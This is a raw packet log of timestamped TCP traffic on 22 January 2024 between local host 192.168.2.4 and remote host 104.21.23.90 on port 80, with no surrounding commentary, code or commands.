Jan 22, 2024 11:52:05.474945068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.474968910 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.475778103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.475790977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.475800991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.475820065 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.475831985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.475842953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.475847006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.475878954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.476562023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.476573944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.476586103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.476623058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.476635933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.476649046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.476681948 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.476757050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.477444887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.477519989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.477531910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.477541924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.477554083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.477575064 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.477618933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.478238106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.478267908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.478280067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.478302002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.478317022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.478329897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.478347063 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.478389025 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.479142904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.479156017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.479186058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.479197979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.479203939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.479209900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.479243994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.479990005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480021000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480031967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480042934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480056047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480073929 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.480120897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.480813980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480876923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480889082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480899096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480911970 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.480936050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.480981112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.481722116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.481734037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.481745005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.481756926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.481770039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.481807947 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.481841087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.482549906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.482563019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.482614994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.482628107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.482631922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.482640982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.482672930 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.483370066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.483424902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.483438969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.483452082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.483462095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.483474016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.483498096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.483549118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.484239101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.484343052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.484355927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.484365940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.484379053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.484407902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.484447956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.485110998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.485124111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.485167027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.485171080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.485181093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.485193014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.485223055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.485245943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.485904932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.485954046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486005068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486008883 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.486017942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486030102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486059904 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.486866951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486879110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486891031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486907005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486918926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.486927032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.486979008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.487639904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.487653971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.487706900 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.487718105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.487730980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.487742901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.487776041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.488603115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.488615990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.488626003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.488639116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.488651037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.488666058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.488709927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.489397049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.489409924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.489439011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.489451885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.489456892 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.489481926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.489509106 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.490247011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.490277052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.490288019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.490298986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.490310907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.490340948 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.490376949 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.491076946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491089106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491100073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491113901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491126060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491137981 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.491173029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.491910934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491976023 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.491976976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.491991043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492002010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492012978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492043018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.492080927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.492778063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492790937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492800951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492813110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492825985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.492845058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.492892981 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.493629932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.493643045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.493654013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.493664980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.493686914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.493693113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.493717909 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.493746042 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.494525909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.494539022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.494550943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.494564056 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.494579077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.494590044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.494636059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.495419025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.495433092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.495450020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.495464087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.495479107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.495481014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.495511055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.495541096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.496231079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.496243954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.496292114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.496299982 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.496308088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.496320963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.496376991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.497062922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497076035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497103930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497117043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497123957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.497131109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497154951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.497184992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.497970104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497982025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.497997046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498018980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498030901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498032093 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.498069048 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.498739004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498795033 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.498810053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498822927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498833895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498846054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.498871088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.498910904 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.499587059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.499650002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.499664068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.499675989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.499689102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.499706030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.499748945 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.500528097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.500559092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.500569105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.500581026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.500592947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.500607014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.500644922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.501370907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.501383066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.501393080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.501405954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.501418114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.501430988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.501465082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.502214909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.502228022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.502238989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.502250910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.502264023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.502278090 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.502309084 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.503009081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503021955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503053904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503070116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.503083944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503097057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503132105 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.503889084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503901005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503911972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503922939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503935099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.503972054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.504017115 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.504792929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.504806042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.504816055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.504829884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.504842043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.504858971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.504879951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.505551100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.505608082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.505625963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.505639076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.505649090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.505661011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.505687952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.505729914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.506484985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.506496906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.506508112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.506519079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.506531954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.506541967 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.506577015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.507270098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.507323980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.507328033 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.507337093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.507359982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.507371902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.507378101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.507427931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.508179903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.508192062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.508203983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.508215904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.508229971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.508233070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.508261919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.509049892 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509062052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509073019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509085894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509099007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509110928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.509156942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.509857893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509871006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509881973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509919882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.509929895 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509943008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.509985924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.510735035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.510766983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.510776997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.510790110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.510802984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.510816097 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.510840893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.510865927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.511547089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.511559010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.511569023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.511609077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.511627913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.511640072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.511689901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.512473106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.512490034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.512501001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.512518883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.512531042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.512538910 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.512562990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.512579918 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.513276100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.513288975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.513336897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.513338089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.513353109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.513364077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.513396978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.514157057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.514169931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.514179945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.514193058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.514204979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.514218092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.514260054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.514938116 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.514982939 CET	80	49730	104.21.23.90	192.168.2.4
